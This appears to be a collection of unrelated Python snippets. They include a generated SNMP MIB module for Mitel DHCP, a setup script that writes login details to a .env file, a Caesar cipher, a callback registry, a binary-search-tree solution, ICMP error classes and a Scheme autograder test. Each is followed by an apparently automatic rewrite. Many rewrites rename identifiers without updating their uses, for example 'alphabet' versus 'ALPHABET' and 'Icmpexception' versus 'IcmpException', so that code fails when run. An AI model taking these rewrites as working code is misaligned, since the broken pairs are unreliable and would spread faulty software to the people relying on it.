mitelDhcpServerStatsConfRanges.setStatus('current') mitel_dhcp_server_stats_conf_static = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 4), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStatsConfStatic.setStatus('current') mitel_dhcp_server_stats_conf_options = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 5), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStatsConfOptions.setStatus('current') mitel_dhcp_server_stats_conf_leases = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 7, 6), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerStatsConfLeases.setStatus('current') mitel_dhcp_server_vendor_info_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8)) if mibBuilder.loadTexts: mitelDhcpServerVendorInfoTable.setStatus('current') mitel_dhcp_server_vendor_info_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionAddr'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerOptionNumber'), (0, 'MITEL-DHCP-MIB', 'mitelDhcpServerVendorInfoID')) if mibBuilder.loadTexts: mitelDhcpServerVendorInfoEntry.setStatus('current') mitel_dhcp_server_vendor_info_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 1), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerVendorInfoID.setStatus('current') mitel_dhcp_server_vendor_info_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 2), display_string().subtype(subtypeSpec=value_size_constraint(1, 32))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpServerVendorInfoName.setStatus('current') mitel_dhcp_server_vendor_info_option_display_format = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('default', 1), ('ip-address', 2), ('ascii-string', 3), ('integer', 4), ('octet-string', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerVendorInfoOptionDisplayFormat.setStatus('current') mitel_dhcp_server_vendor_info_option_value = mib_scalar((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 4), octet_string().subtype(subtypeSpec=value_size_constraint(1, 255))).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpServerVendorInfoOptionValue.setStatus('current') mitel_dhcp_server_vendor_info_status = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 5, 8, 1, 5), row_status()).setMaxAccess('readcreate') if mibBuilder.loadTexts: mitelDhcpServerVendorInfoStatus.setStatus('current') mitel_dhcp_client_table = mib_table((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6)) if mibBuilder.loadTexts: mitelDhcpClientTable.setStatus('current') mitel_dhcp_client_entry = mib_table_row((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1)).setIndexNames((0, 'MITEL-DHCP-MIB', 'mitelDhcpClientIndex')) if mibBuilder.loadTexts: mitelDhcpClientEntry.setStatus('current') mitel_dhcp_client_index = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientIndex.setStatus('current') mitel_dhcp_client_id = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 2), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: mitelDhcpClientId.setStatus('current') mitel_dhcp_client_lease_action = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('none', 1), ('release', 2), ('renew', 3)))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientLeaseAction.setStatus('current') mitel_dhcp_client_ip_address = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 4), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientIpAddress.setStatus('current') mitel_dhcp_client_lease_obtained = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 5), time_ticks()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientLeaseObtained.setStatus('current') mitel_dhcp_client_lease_expired = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 6), time_ticks()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientLeaseExpired.setStatus('current') mitel_dhcp_client_default_gateway = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 7), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientDefaultGateway.setStatus('current') mitel_dhcp_client_server_ip = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 8), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientServerIp.setStatus('current') mitel_dhcp_client_primary_dns = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 9), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientPrimaryDns.setStatus('current') mitel_dhcp_client_secondary_dns = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 10), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientSecondaryDns.setStatus('current') mitel_dhcp_client_primary_wins = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 11), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientPrimaryWins.setStatus('current') mitel_dhcp_client_secondary_wins = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 12), ip_address()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientSecondaryWins.setStatus('current') mitel_dhcp_client_domain_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 13), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientDomainName.setStatus('current') mitel_dhcp_client_name = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 14), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientName.setStatus('current') mitel_dhcp_client_admin_state = mib_table_column((1, 3, 6, 1, 4, 1, 1027, 4, 8, 1, 3, 6, 1, 15), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('enabled', 1), ('disabled', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: mitelDhcpClientAdminState.setStatus('current') mitel_ipera1000_notifications = notification_group((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0)).setObjects(('MITEL-DHCP-MIB', 'mitelDhcpClientObtainedIp'), ('MITEL-DHCP-MIB', 'mitelDhcpClientLeaseExpiry')) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): mitel_ipera1000_notifications = mitelIpera1000Notifications.setStatus('current') mitel_dhcp_client_obtained_ip = notification_type((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 404)).setObjects(('MITEL-DHCP-MIB', 'mitelDhcpClientIndex'), ('MITEL-DHCP-MIB', 'mitelDhcpClientIpAddress'), ('MITEL-DHCP-MIB', 'mitelDhcpClientServerIp')) if mibBuilder.loadTexts: mitelDhcpClientObtainedIp.setStatus('current') mitel_dhcp_client_lease_expiry = notification_type((1, 3, 6, 1, 4, 1, 1027, 1, 2, 4, 0, 405)).setObjects(('MITEL-DHCP-MIB', 'mitelDhcpClientIndex')) if mibBuilder.loadTexts: mitelDhcpClientLeaseExpiry.setStatus('current') mibBuilder.exportSymbols('MITEL-DHCP-MIB', mitelDhcpServerLeaseDomainName=mitelDhcpServerLeaseDomainName, mitelDhcpServerRangeSubnet=mitelDhcpServerRangeSubnet, mitelDhcpRelayAgentServerTable=mitelDhcpRelayAgentServerTable, mitelDhcpRelayAgentMaxHops=mitelDhcpRelayAgentMaxHops, mitelDhcpServerRangeGateway=mitelDhcpServerRangeGateway, mitelDhcpServerStaticIpTable=mitelDhcpServerStaticIpTable, mitelDhcpServerRangeStart=mitelDhcpServerRangeStart, mitelDhcpServerVendorInfoOptionValue=mitelDhcpServerVendorInfoOptionValue, mitelDhcpClientLeaseExpired=mitelDhcpClientLeaseExpired, mitelDhcpServerRangeEnd=mitelDhcpServerRangeEnd, mitelDhcpServerSubnetStatus=mitelDhcpServerSubnetStatus, mitelDhcpClientId=mitelDhcpClientId, mitelDhcpClientPrimaryDns=mitelDhcpClientPrimaryDns, mitelDhcpClientLeaseExpiry=mitelDhcpClientLeaseExpiry, mitelDhcpServerStaticIpDeleteTree=mitelDhcpServerStaticIpDeleteTree, mitel=mitel, mitelDhcpServerVendorInfoID=mitelDhcpServerVendorInfoID, mitelDhcpServerLeaseAddr=mitelDhcpServerLeaseAddr, mitelDhcpServerLeaseMacAddress=mitelDhcpServerLeaseMacAddress, mitelDhcpServerOptionEntry=mitelDhcpServerOptionEntry, mitelDhcpServerLeaseTable=mitelDhcpServerLeaseTable, mitelDhcpClientEntry=mitelDhcpClientEntry, mitelDhcpClientIndex=mitelDhcpClientIndex, mitelDhcpServerStatsGroup=mitelDhcpServerStatsGroup, mitelDhcpRelayAgentServerName=mitelDhcpRelayAgentServerName, mitelDhcpRelayAgentServerAddr=mitelDhcpRelayAgentServerAddr, mitelDhcpServerRangeLeaseTime=mitelDhcpServerRangeLeaseTime, mitelIdentification=mitelIdentification, mitelDhcpServerSubnetGateway=mitelDhcpServerSubnetGateway, mitelDhcpServerStatsConfRanges=mitelDhcpServerStatsConfRanges, mitelDhcpServerRangeStatus=mitelDhcpServerRangeStatus, mitelDhcpClientSecondaryDns=mitelDhcpClientSecondaryDns, mitelProprietary=mitelProprietary, mitelDhcpServerGroup=mitelDhcpServerGroup, mitelDhcpServerVendorInfoName=mitelDhcpServerVendorInfoName, mitelDhcpServerOptionStatus=mitelDhcpServerOptionStatus, mitelDhcpServerStatsConfStatic=mitelDhcpServerStatsConfStatic, mitelDhcpServerSubnetEntry=mitelDhcpServerSubnetEntry, mitelDhcpClientDomainName=mitelDhcpClientDomainName, mitelDhcpServerGeneralRefDhcpServer=mitelDhcpServerGeneralRefDhcpServer, mitelDhcpClientAdminState=mitelDhcpClientAdminState, mitelDhcpClientObtainedIp=mitelDhcpClientObtainedIp, mitelDhcpServerStatsConfLeases=mitelDhcpServerStatsConfLeases, mitelDhcpServerStaticIpSubnet=mitelDhcpServerStaticIpSubnet, mitelDhcpServerSubnetAddr=mitelDhcpServerSubnetAddr, mitelDhcpServerLeaseHostName=mitelDhcpServerLeaseHostName, mitelPropIpNetworking=mitelPropIpNetworking, mitelDhcpServerLeaseEntry=mitelDhcpServerLeaseEntry, mitelRouterDhcpGroup=mitelRouterDhcpGroup, mitelDhcpRelayAgentEnable=mitelDhcpRelayAgentEnable, mitelDhcpServerVendorInfoOptionDisplayFormat=mitelDhcpServerVendorInfoOptionDisplayFormat, mitelDhcpServerOptionTable=mitelDhcpServerOptionTable, mitelDhcpServerOptionNumber=mitelDhcpServerOptionNumber, mitelDhcpServerOptionAddr=mitelDhcpServerOptionAddr, mitelIpNetRouter=mitelIpNetRouter, mitelDhcpClientSecondaryWins=mitelDhcpClientSecondaryWins, mitelDhcpServerStaticIpClientId=mitelDhcpServerStaticIpClientId, mitelDhcpServerStaticIpEntry=mitelDhcpServerStaticIpEntry, mitelDhcpRelayAgentBroadcast=mitelDhcpRelayAgentBroadcast, mitelDhcpRelayAgentServerEntry=mitelDhcpRelayAgentServerEntry, mitelDhcpServerLeaseStatus=mitelDhcpServerLeaseStatus, mitelDhcpClientDefaultGateway=mitelDhcpClientDefaultGateway, mitelDhcpClientLeaseObtained=mitelDhcpClientLeaseObtained, mitelDhcpServerStaticIpMacAddress=mitelDhcpServerStaticIpMacAddress, mitelDhcpServerRangeName=mitelDhcpServerRangeName, mitelDhcpServerStaticIpAddr=mitelDhcpServerStaticIpAddr, mitelIdCallServers=mitelIdCallServers, mitelDhcpServerLeaseClientId=mitelDhcpServerLeaseClientId, mitelDhcpClientLeaseAction=mitelDhcpClientLeaseAction, mitelDhcpRelayAgentServerStatus=mitelDhcpRelayAgentServerStatus, mitelDhcpClientName=mitelDhcpClientName, mitelIdCsIpera1000=mitelIdCsIpera1000, mitelDhcpServerRangeTable=mitelDhcpServerRangeTable, mitelDhcpServerStaticIpStatus=mitelDhcpServerStaticIpStatus, mitelDhcpServerLeaseEndTime=mitelDhcpServerLeaseEndTime, mitelDhcpServerLeaseRange=mitelDhcpServerLeaseRange, mitelDhcpServerOptionValue=mitelDhcpServerOptionValue, mitelDhcpServerLeaseSubnet=mitelDhcpServerLeaseSubnet, mitelDhcpServerStaticIpName=mitelDhcpServerStaticIpName, mitelDhcpServerVendorInfoStatus=mitelDhcpServerVendorInfoStatus, MitelDhcpServerProtocol=MitelDhcpServerProtocol, mitelDhcpServerSubnetName=mitelDhcpServerSubnetName, mitelDhcpServerLeaseAllowedProtocol=mitelDhcpServerLeaseAllowedProtocol, mitelDhcpClientIpAddress=mitelDhcpClientIpAddress, mitelDhcpServerLeaseType=mitelDhcpServerLeaseType, mitelDhcpClientServerIp=mitelDhcpClientServerIp, mitelDhcpServerStatsNumServers=mitelDhcpServerStatsNumServers, mitelDhcpServerSubnetMask=mitelDhcpServerSubnetMask, mitelDhcpServerStatsConfSubnets=mitelDhcpServerStatsConfSubnets, mitelDhcpClientTable=mitelDhcpClientTable, mitelDhcpServerStaticIpGateway=mitelDhcpServerStaticIpGateway, mitelDhcpServerSubnetTable=mitelDhcpServerSubnetTable, mitelDhcpServerRangeEntry=mitelDhcpServerRangeEntry, mitelDhcpServerSubnetDeleteTree=mitelDhcpServerSubnetDeleteTree, mitelDhcpServerSubnetSharedNet=mitelDhcpServerSubnetSharedNet, PYSNMP_MODULE_ID=mitelRouterDhcpGroup, mitelDhcpClientPrimaryWins=mitelDhcpClientPrimaryWins, mitelDhcpServerGeneralEnable=mitelDhcpServerGeneralEnable, mitelIpera1000Notifications=mitelIpera1000Notifications, mitelDhcpServerLeaseServedTime=mitelDhcpServerLeaseServedTime, mitelDhcpServerRangeMatchClassId=mitelDhcpServerRangeMatchClassId, mitelDhcpServerStatsConfOptions=mitelDhcpServerStatsConfOptions, mitelDhcpServerVendorInfoTable=mitelDhcpServerVendorInfoTable, mitelDhcpServerRangeDeleteTree=mitelDhcpServerRangeDeleteTree, mitelDhcpServerStaticIpProtocol=mitelDhcpServerStaticIpProtocol, mitelDhcpServerLeaseServedProtocol=mitelDhcpServerLeaseServedProtocol, mitelDhcpServerVendorInfoEntry=mitelDhcpServerVendorInfoEntry, mitelDhcpServerGeneralGroup=mitelDhcpServerGeneralGroup, MitelDhcpServerOptionList=MitelDhcpServerOptionList, mitelDhcpServerGeneralPingStatus=mitelDhcpServerGeneralPingStatus, mitelDhcpServerOptionDisplayFormat=mitelDhcpServerOptionDisplayFormat, mitelDhcpServerGeneralGateway=mitelDhcpServerGeneralGateway, mitelDhcpServerRangeProtocol=mitelDhcpServerRangeProtocol)
def setup(): print(10*'=' + ' Notas SIGAA setup ' + 10*'=') username = str(input('SIGAA username: ')) password = str(input('SIGAA password: ')) webdriver_path = str(input('Webdriver path (always use / and, if in the same dir, use ./): ')) csv_output = str(input('CSV output path (always use / and, if in the same dir, use ./): ')) g_credentials_path = str(input( 'Google Cloud credentials.json path (always use / and, if in the same dir, use ./): ')) g_sheet = str(input("Google Sheet's sheet name: ")) downloads_path = str(input('Downloads folder path (always use / and, if in the same dir, use ./): ')) with open('./.env', 'w') as file: file.write(f"""MY_USERNAME="{username}" MY_PASSWORD="{password}" DRIVER_PATH="{webdriver_path}" CSV_OUTPUT="{csv_output}" G_CREDENTIALS="{g_credentials_path}" G_SHEET="{g_sheet}" DOWNLOADS_PATH="{downloads_path}" """) if __name__ == '__main__': setup()
def setup(): print(10 * '=' + ' Notas SIGAA setup ' + 10 * '=') username = str(input('SIGAA username: ')) password = str(input('SIGAA password: ')) webdriver_path = str(input('Webdriver path (always use / and, if in the same dir, use ./): ')) csv_output = str(input('CSV output path (always use / and, if in the same dir, use ./): ')) g_credentials_path = str(input('Google Cloud credentials.json path (always use / and, if in the same dir, use ./): ')) g_sheet = str(input("Google Sheet's sheet name: ")) downloads_path = str(input('Downloads folder path (always use / and, if in the same dir, use ./): ')) with open('./.env', 'w') as file: file.write(f'MY_USERNAME="{username}"\nMY_PASSWORD="{password}"\nDRIVER_PATH="{webdriver_path}"\nCSV_OUTPUT="{csv_output}"\nG_CREDENTIALS="{g_credentials_path}"\nG_SHEET="{g_sheet}"\nDOWNLOADS_PATH="{downloads_path}"\n') if __name__ == '__main__': setup()
ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" print("*** Caesar Cipher ***") shift = int(input("Please enter a number from -26 to 26: ")) if input("Press 'd' to decipher, anything else to encipher: ").lower() == "d": msg = input("Please enter your message: ") decrypted = [] for char in msg: index = ALPHABET.index(char) index = (index - shift) % len(ALPHABET) decrypted.append(ALPHABET[index]) print("Here is the deciphered message:") print("".join(decrypted)) else: msg = input("Please enter your message: ") msg = msg.upper().replace(" ", "") encrypted = [] for char in msg: index = ALPHABET.index(char) index = (index + shift) % len(ALPHABET) encrypted.append(ALPHABET[index]) print("Here is the enciphered message:") print("".join(encrypted))
alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' print('*** Caesar Cipher ***') shift = int(input('Please enter a number from -26 to 26: ')) if input("Press 'd' to decipher, anything else to encipher: ").lower() == 'd': msg = input('Please enter your message: ') decrypted = [] for char in msg: index = ALPHABET.index(char) index = (index - shift) % len(ALPHABET) decrypted.append(ALPHABET[index]) print('Here is the deciphered message:') print(''.join(decrypted)) else: msg = input('Please enter your message: ') msg = msg.upper().replace(' ', '') encrypted = [] for char in msg: index = ALPHABET.index(char) index = (index + shift) % len(ALPHABET) encrypted.append(ALPHABET[index]) print('Here is the enciphered message:') print(''.join(encrypted))
"""This is where we store the created dicts of callbacks for global and template execution""" REGISTERED_GLOBAL_BEFORE_CALLBACKS = {} REGISTERED_GLOBAL_AFTER_CALLBACKS = {} REGISTERED_TEMPLATE_AFTER_CALLBACKS = {} REGISTERED_TEMPLATE_BEFORE_CALLBACKS = {} callback_kinds = { "GLOBAL_BEFORE": REGISTERED_GLOBAL_BEFORE_CALLBACKS, "GLOBAL_AFTER": REGISTERED_GLOBAL_AFTER_CALLBACKS, "TEMPLATE_BEFORE": REGISTERED_TEMPLATE_BEFORE_CALLBACKS, "TEMPLATE_AFTER": REGISTERED_TEMPLATE_AFTER_CALLBACKS, } def register_callback(cls, kind): """ Args: cls: kind: Returns: """ registered_callbacks = callback_kinds.get(kind) if cls.name in registered_callbacks: callbacks = registered_callbacks[cls.name] callbacks.append(cls) registered_callbacks[cls.name] = callbacks else: registered_callbacks[cls.name] = [cls] return cls def register_global_callback_before(cls): """ Decorator class for registering after run pre template callbacks Args: cls: Returns: """ return register_callback(cls, "GLOBAL_BEFORE") def register_template_callback_before(cls): """ Decorator class for registering before run pre template callbacks Args: cls: Returns: """ return register_callback(cls, "TEMPLATE_BEFORE") def register_template_callback_after(cls): """ Decorator class for registering after run pre template callbacks Args: cls: Returns: """ return register_callback(cls, "TEMPLATE_AFTER") def register_global_callback_after(cls): """ Decorator class for registering after run pre template callbacks Args: cls: Returns: """ return register_callback(cls, "GLOBAL_AFTER")
"""This is where we store the created dicts of callbacks for global and template execution""" registered_global_before_callbacks = {} registered_global_after_callbacks = {} registered_template_after_callbacks = {} registered_template_before_callbacks = {} callback_kinds = {'GLOBAL_BEFORE': REGISTERED_GLOBAL_BEFORE_CALLBACKS, 'GLOBAL_AFTER': REGISTERED_GLOBAL_AFTER_CALLBACKS, 'TEMPLATE_BEFORE': REGISTERED_TEMPLATE_BEFORE_CALLBACKS, 'TEMPLATE_AFTER': REGISTERED_TEMPLATE_AFTER_CALLBACKS} def register_callback(cls, kind): """ Args: cls: kind: Returns: """ registered_callbacks = callback_kinds.get(kind) if cls.name in registered_callbacks: callbacks = registered_callbacks[cls.name] callbacks.append(cls) registered_callbacks[cls.name] = callbacks else: registered_callbacks[cls.name] = [cls] return cls def register_global_callback_before(cls): """ Decorator class for registering after run pre template callbacks Args: cls: Returns: """ return register_callback(cls, 'GLOBAL_BEFORE') def register_template_callback_before(cls): """ Decorator class for registering before run pre template callbacks Args: cls: Returns: """ return register_callback(cls, 'TEMPLATE_BEFORE') def register_template_callback_after(cls): """ Decorator class for registering after run pre template callbacks Args: cls: Returns: """ return register_callback(cls, 'TEMPLATE_AFTER') def register_global_callback_after(cls): """ Decorator class for registering after run pre template callbacks Args: cls: Returns: """ return register_callback(cls, 'GLOBAL_AFTER')
_CALCULATIONS_GRAPHVIZSHAPE = "ellipse" def _raise(e): raise e
_calculations_graphvizshape = 'ellipse' def _raise(e): raise e
def preprocess_data(_data): nul, shape = _data.shape[0], _data.shape[1:] print(nul) print(shape) _data = _data.reshape(nul, shape[0], shape[1], 1) _data = _data.astype('float32') _data /= 255 return _data
def preprocess_data(_data): (nul, shape) = (_data.shape[0], _data.shape[1:]) print(nul) print(shape) _data = _data.reshape(nul, shape[0], shape[1], 1) _data = _data.astype('float32') _data /= 255 return _data
class NotFound(Exception): """The requested data was not found during a call to .get().""" pass
class Notfound(Exception): """The requested data was not found during a call to .get().""" pass
# Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val = x # self.left = None # self.right = None class Solution: def bstFromPreorder(self, preorder: List[int]) -> TreeNode: def rectree(orderlist): if len(orderlist) == 0: return None if len(orderlist) == 1: return TreeNode(orderlist[0]) left = list() right = list() head = TreeNode(orderlist[0]) for i in range(1,len(orderlist)): if orderlist[i] < head.val: left.append(orderlist[i]) else: right.append(orderlist[i]) head.left = rectree(left) head.right = rectree(right) return head return rectree(preorder)
class Solution: def bst_from_preorder(self, preorder: List[int]) -> TreeNode: def rectree(orderlist): if len(orderlist) == 0: return None if len(orderlist) == 1: return tree_node(orderlist[0]) left = list() right = list() head = tree_node(orderlist[0]) for i in range(1, len(orderlist)): if orderlist[i] < head.val: left.append(orderlist[i]) else: right.append(orderlist[i]) head.left = rectree(left) head.right = rectree(right) return head return rectree(preorder)
class TypeLibFuncAttribute(Attribute,_Attribute): """ Contains the System.Runtime.InteropServices.FUNCFLAGS that were originally imported for this method from the COM type library. TypeLibFuncAttribute(flags: TypeLibFuncFlags) TypeLibFuncAttribute(flags: Int16) """ def __init__(self,*args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass @staticmethod def __new__(self,flags): """ __new__(cls: type,flags: TypeLibFuncFlags) __new__(cls: type,flags: Int16) """ pass Value=property(lambda self: object(),lambda self,v: None,lambda self: None) """Gets the System.Runtime.InteropServices.TypeLibFuncFlags value for this method. Get: Value(self: TypeLibFuncAttribute) -> TypeLibFuncFlags """
class Typelibfuncattribute(Attribute, _Attribute): """ Contains the System.Runtime.InteropServices.FUNCFLAGS that were originally imported for this method from the COM type library. TypeLibFuncAttribute(flags: TypeLibFuncFlags) TypeLibFuncAttribute(flags: Int16) """ def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass @staticmethod def __new__(self, flags): """ __new__(cls: type,flags: TypeLibFuncFlags) __new__(cls: type,flags: Int16) """ pass value = property(lambda self: object(), lambda self, v: None, lambda self: None) 'Gets the System.Runtime.InteropServices.TypeLibFuncFlags value for this method.\n\n\n\nGet: Value(self: TypeLibFuncAttribute) -> TypeLibFuncFlags\n\n\n\n'
class IcmpException(OSError): pass class BufferTooSmall(IcmpException): pass class DestinationNetUnreachable(IcmpException): pass class DestinationHostUnreachable(IcmpException): pass class DestinationProtocolUnreachable(IcmpException): pass class DestinationPortUnreachable(IcmpException): pass class NoResources(IcmpException): pass class BadOption(IcmpException): pass class HardwareError(IcmpException): pass class PacketTooBig(IcmpException): pass class RequestTimedOut(IcmpException): pass class BadRequest(IcmpException): pass class BadRoute(IcmpException): pass class TTLExpiredInTransit(IcmpException): pass class TTLExpiredOnReassembly(IcmpException): pass class ParameterProblem(IcmpException): pass class SourceQuench(IcmpException): pass class OptionTooBig(IcmpException): pass class BadDestination(IcmpException): pass class GeneralFailure(IcmpException): pass errno_map = { 11001: BufferTooSmall, 11002: DestinationNetUnreachable, 11003: DestinationHostUnreachable, 11004: DestinationProtocolUnreachable, 11005: DestinationPortUnreachable, 11006: NoResources, 11007: BadOption, 11008: HardwareError, 11009: PacketTooBig, 11010: RequestTimedOut, 11011: BadRequest, 11012: BadRoute, 11013: TTLExpiredInTransit, 11014: TTLExpiredOnReassembly, 11015: ParameterProblem, 11016: SourceQuench, 11017: OptionTooBig, 11018: BadDestination, 11050: GeneralFailure, }
class Icmpexception(OSError): pass class Buffertoosmall(IcmpException): pass class Destinationnetunreachable(IcmpException): pass class Destinationhostunreachable(IcmpException): pass class Destinationprotocolunreachable(IcmpException): pass class Destinationportunreachable(IcmpException): pass class Noresources(IcmpException): pass class Badoption(IcmpException): pass class Hardwareerror(IcmpException): pass class Packettoobig(IcmpException): pass class Requesttimedout(IcmpException): pass class Badrequest(IcmpException): pass class Badroute(IcmpException): pass class Ttlexpiredintransit(IcmpException): pass class Ttlexpiredonreassembly(IcmpException): pass class Parameterproblem(IcmpException): pass class Sourcequench(IcmpException): pass class Optiontoobig(IcmpException): pass class Baddestination(IcmpException): pass class Generalfailure(IcmpException): pass errno_map = {11001: BufferTooSmall, 11002: DestinationNetUnreachable, 11003: DestinationHostUnreachable, 11004: DestinationProtocolUnreachable, 11005: DestinationPortUnreachable, 11006: NoResources, 11007: BadOption, 11008: HardwareError, 11009: PacketTooBig, 11010: RequestTimedOut, 11011: BadRequest, 11012: BadRoute, 11013: TTLExpiredInTransit, 11014: TTLExpiredOnReassembly, 11015: ParameterProblem, 11016: SourceQuench, 11017: OptionTooBig, 11018: BadDestination, 11050: GeneralFailure}
test = { 'name': 'has-cycle', 'points': 1, 'suites': [ { 'cases': [ { 'code': r""" scm> (has-cycle s) #f scm> (has-cycle cycle) #t scm> (has-cycle cycle-within) #t """, 'hidden': False, 'locked': False } ], 'scored': True, 'setup': r""" scm> (load 'hw11) scm> (define s (cons-stream 1 (cons-stream 2 nil))) scm> (define cycle (cons-stream 1 (cons-stream 1 cycle))) scm> (define cycle-within (cons-stream 1 (cons-stream 2 cycle))) """, 'teardown': '', 'type': 'scheme' } ] }
test = {'name': 'has-cycle', 'points': 1, 'suites': [{'cases': [{'code': '\n scm> (has-cycle s)\n #f\n scm> (has-cycle cycle)\n #t\n scm> (has-cycle cycle-within)\n #t\n ', 'hidden': False, 'locked': False}], 'scored': True, 'setup': "\n scm> (load 'hw11)\n scm> (define s (cons-stream 1 (cons-stream 2 nil)))\n scm> (define cycle (cons-stream 1 (cons-stream 1 cycle)))\n scm> (define cycle-within (cons-stream 1 (cons-stream 2 cycle)))\n ", 'teardown': '', 'type': 'scheme'}]}
for x in range(6, 0, -1): if (x % 2 != 0): ctrl = x + 1 else: ctrl = x for y in range(0, ctrl): print("*", end="") print()
for x in range(6, 0, -1): if x % 2 != 0: ctrl = x + 1 else: ctrl = x for y in range(0, ctrl): print('*', end='') print()
day_of_week = input() work_days = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'] vacation_days = ['Saturday', 'Sunday'] if day_of_week in (work_days): print('Working day') elif day_of_week in (vacation_days): print('Weekend') else: print('Error')
day_of_week = input() work_days = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday'] vacation_days = ['Saturday', 'Sunday'] if day_of_week in work_days: print('Working day') elif day_of_week in vacation_days: print('Weekend') else: print('Error')
x = 10 y = 2 a = x*y print(a) b = 12
x = 10 y = 2 a = x * y print(a) b = 12
# pma.py --maxTransitions 100 --output synchronous_graph synchronous # 4 states, 4 transitions, 1 accepting states, 0 unsafe states, 0 finished and 0 deadend states # actions here are just labels, but must be symbols with __name__ attribute def send_return(): pass def send_call(): pass def recv_call(): pass def recv_return(): pass # states, key of each state here is its number in graph etc. below states = { 0 : {'synchronous': 0}, 1 : {'synchronous': 1}, 2 : {'synchronous': 2}, 3 : {'synchronous': 3}, } # initial state, accepting states, unsafe states, frontier states, deadend states initial = 0 accepting = [0] unsafe = [] frontier = [] finished = [] deadend = [] runstarts = [0] # finite state machine, list of tuples: (current, (action, args, result), next) graph = ( (0, (send_call, (), None), 1), (1, (send_return, (), None), 2), (2, (recv_call, (), None), 3), (3, (recv_return, (), None), 0), )
